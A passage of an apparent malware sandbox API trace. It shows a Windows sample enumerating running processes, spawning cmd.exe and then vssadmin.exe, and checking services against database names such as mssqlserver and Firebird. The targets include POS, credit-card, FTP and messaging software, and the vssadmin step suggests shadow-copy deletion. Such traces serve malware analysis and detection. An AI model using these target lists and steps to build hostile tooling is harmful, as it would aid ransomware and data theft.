lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0047.693] lstrlenW (lpString="operamail.exe") returned 13 [0047.693] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0047.694] lstrlenW (lpString="pidgin.exe") returned 10 [0047.694] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0047.695] lstrlenW (lpString="scriptftp.exe") returned 13 [0047.695] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0047.696] lstrlenW (lpString="skype.exe") returned 9 [0047.696] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0047.696] lstrlenW (lpString="smartftp.exe") returned 12 [0047.696] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0047.697] lstrlenW (lpString="thunderbird.exe") returned 15 [0047.697] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0047.698] lstrlenW (lpString="totalcmd.exe") returned 12 [0047.698] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0047.699] lstrlenW (lpString="trillian.exe") returned 12 [0047.699] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0047.700] lstrlenW (lpString="webdrive.exe") returned 12 [0047.700] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0047.700] lstrlenW (lpString="whatsapp.exe") returned 12 [0047.700] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0047.701] lstrlenW (lpString="winscp.exe") returned 10 [0047.701] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0047.702] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0047.702] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0047.702] lstrlenW (lpString="active-charge.exe") returned 17 [0047.702] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0047.703] lstrlenW (lpString="accupos.exe") returned 11 [0047.703] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0047.704] lstrlenW (lpString="afr38.exe") returned 9 [0047.704] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0047.705] lstrlenW (lpString="aldelo.exe") returned 10 [0047.705] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0047.705] lstrlenW (lpString="ccv_server.exe") returned 14 [0047.705] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0047.706] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0047.706] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0047.707] lstrlenW (lpString="creditservice.exe") returned 17 [0047.707] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0047.708] lstrlenW (lpString="edcsvr.exe") returned 10 [0047.708] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0047.708] lstrlenW (lpString="fpos.exe") returned 8 [0047.708] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0047.709] lstrlenW (lpString="isspos.exe") returned 10 [0047.709] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0047.709] lstrlenW (lpString="mxslipstream.exe") returned 16 [0047.710] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0047.710] lstrlenW (lpString="omnipos.exe") returned 11 [0047.710] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0047.711] lstrlenW (lpString="spcwin.exe") returned 10 [0047.711] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0047.711] lstrlenW (lpString="spgagentservice.exe") returned 19 [0047.711] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0048.033] lstrlenW (lpString="utg2.exe") returned 8 [0048.033] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0048.033] lstrlenW (lpString="burner.exe") returned 10 [0048.033] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.034] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.034] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.034] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.035] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0048.055] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0048.055] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.055] lstrlenW (lpString="cmd.exe") returned 7 [0048.055] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.056] lstrlenW (lpString="conhost.exe") returned 11 [0048.056] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.056] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.056] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.057] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.057] Process32NextW (in: hSnapshot=0x180, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0048.058] CloseHandle (hObject=0x180) returned 1 [0048.058] Sleep (dwMilliseconds=0x1f4) [0049.003] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59fbe0 [0049.003] EnumServicesStatusExW (in: hSCManager=0x59fbe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0049.004] GetLastError () returned 0xea [0049.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13a6) returned 0x37f2700 [0049.004] EnumServicesStatusExW (in: hSCManager=0x59fbe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f2700, cbBufSize=0x13a6, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f2700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0049.009] CloseServiceHandle (hSCObject=0x59fbe0) returned 1 [0049.009] lstrlenW (lpString="Appinfo") returned 7 [0049.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.010] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.010] lstrlenW (lpString="AudioSrv") returned 8 [0049.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.010] lstrlenW (lpString="BFE") returned 3 [0049.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.010] lstrlenW (lpString="CryptSvc") returned 8 [0049.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.010] lstrlenW (lpString="CscService") returned 10 [0049.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.010] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.010] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.010] lstrlenW (lpString="DcomLaunch") returned 10 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.011] lstrlenW (lpString="Dhcp") returned 4 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.011] lstrlenW (lpString="Dnscache") returned 8 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.011] lstrlenW (lpString="DPS") returned 3 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.011] lstrlenW (lpString="eventlog") returned 8 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.011] lstrlenW (lpString="EventSystem") returned 11 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.011] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.011] lstrlenW (lpString="FontCache") returned 9 [0049.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0049.012] lstrlenW (lpString="gpsvc") returned 5 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.012] lstrlenW (lpString="iphlpsvc") returned 8 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.012] lstrlenW (lpString="LanmanServer") returned 12 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.012] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.012] lstrlenW (lpString="lmhosts") returned 7 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.012] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.012] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.012] lstrlenW (lpString="MMCSS") returned 5 [0049.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.013] lstrlenW (lpString="MpsSvc") returned 6 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.013] lstrlenW (lpString="Netman") returned 6 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.013] lstrlenW (lpString="netprofm") returned 8 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.013] lstrlenW (lpString="NlaSvc") returned 6 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.013] lstrlenW (lpString="nsi") returned 3 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.013] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.013] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.013] lstrlenW (lpString="PcaSvc") returned 6 [0049.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.014] lstrlenW (lpString="PlugPlay") returned 8 [0049.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.014] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.014] lstrcmpiW (lpString1="mssqlserver", 